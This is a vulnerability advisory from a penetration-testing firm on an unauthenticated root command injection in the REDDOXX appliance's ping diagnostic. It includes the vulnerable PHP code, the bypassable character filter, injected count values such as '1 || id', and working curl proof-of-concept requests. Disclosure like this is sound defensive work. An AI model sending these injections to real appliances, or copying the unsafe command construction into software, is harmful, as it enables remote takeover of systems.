Advisory: Remote Command Execution as root in REDDOXX Appliance

RedTeam Pentesting discovered a remote command execution vulnerability
in the REDDOXX appliance software, which allows attackers to execute
arbitrary command with root privileges while unauthenticated.

Details
=======

Product: REDDOXX Appliance
Affected Versions: <= Build 2032 / v2.0.625
Fixed Versions: Version 2032 SP2
Vulnerability Type: Remote Command Execution
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-009
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsâ?? requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)

More Details
============

The administrative interface of the REDDOXX appliance [0] offers several
diagnostic tools in the "Diagnostic Center". Ping is one of these tools.
The interface for this tool contains two input fields, which allow users
to specify a target host and a packet count. Through the ISO provided on
the vendor's homepage [1], it was possible to analyze how these commands
are embedded into the command-line of the ping command:

------------------------------------------------------------------------

function ExecuteDiag($parameter)
{
// Here we do the main thing ...
$cmd = "ping '" . $parameter->targetHost . "' -c " . $parameter->count;

$this->PrintHeader();
$this->PrintHeadLine(array('Result Message', 'Status'));
$this->PrintOut("<tr>");

$this->PrintOut("<td class=mytd><PRE>");
passthru($cmd, $rc);
$this->PrintOut("</PRE></td>");

$this->PrintStatus($rc);
$this->PrintOut("</tr>");
$this->PrintEnd();

$result = new stdClass;
$result->ResultCode = $rc;
$result->MessageText = "";

$this->SaveResult($result);
}
------------------------------------------------------------------------

As can be seen in the listing above, the parameters are embedded into a
string stored in the variable $cmd. The target host parameter is
surrounded with single quotes, while the count parameter is not.

Before the parameters are actually embedded into the ping command-line
however, the following function performs a check for "illegal
characters":

------------------------------------------------------------------------

public static function CheckShellParameter($parameter, $key = "")
{
if (!is_array($parameter))
$parameter = array($parameter);

foreach ($parameter as $value) {
if (preg_match("/[';<>\"]/", $value)) {
$paramNameMsg = "";
if ($key)
$paramNameMsg = " in parameter '$key'";
throw new Exception("Invalid value" . $paramNameMsg . ". Illegal characters found.", 1);
}
}
}
------------------------------------------------------------------------

These are characters, which can be used to append additional commands to
the command line. While this check prevents certain kinds of attacks, it
is incomplete and can therefore be bypassed. For example, && (AND) and
|| (OR) operators can still be used to append additional commands to the
command-line. Submitting a count target host of "127.0.0.1" and a count
of "1 || id" leads to the following command-line being passed to the PHP
passthru() function and executed:

------------------------------------------------------------------------

ping '127.0.0.1' -c 1 || id
------------------------------------------------------------------------

This causes the command "id" to be executed after the execution of the
ping command is completed.

Proof of Concept
================

The following curl command-lines can be used to trigger the
vulnerability.

First, the diagnose function ping is called as follows:

------------------------------------------------------------------------

$ curl -H 'Content-Type: application/json' --data '{"Name":"Ping",''"Parameter":{"targetHost":"127.0.0.1","count":"1''&& echo 'REDTEAM_MARKER_START' && id && echo 'REDTEAM_MARKER_END'"}}' http://www.example.com/api/v1/rws/diagnose/start
------------------------------------------------------------------------

Here, the count parameter "1 && echo 'REDTEAM_MARKER_START' && id && echo
'REDTEAM_MARKER_END'" is submitted. The two echo commands with markers are
only used to distinguish the output of the "id" command in the final
result, which can be retrieved and displayed using the following curl
command-line:

------------------------------------------------------------------------

$ curl --silent -H 'Accept: application/json' http://www.example.com/api/v1/rws/diagnose/result/Ping | jq .Output | sed 's;.*REDTEAM_MARKER_START\\n\(.*\)\\nREDTEAM_MARKER_END.*;\1;' | sed 's/\\n/\n/g'
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------

Workaround
==========

None

Fix
===

Update the appliance software to Version 2032 SP2.

Security Risk
=============

The diagnostic functions offered by the REDDOXX appliance allow attackers
to execute arbitrary commands. Since the commands are executed with root
privileges and no authentication is required, this is rated as a high
risk.

Timeline
========

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released

References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)

RedTeam Pentesting GmbH
=======================

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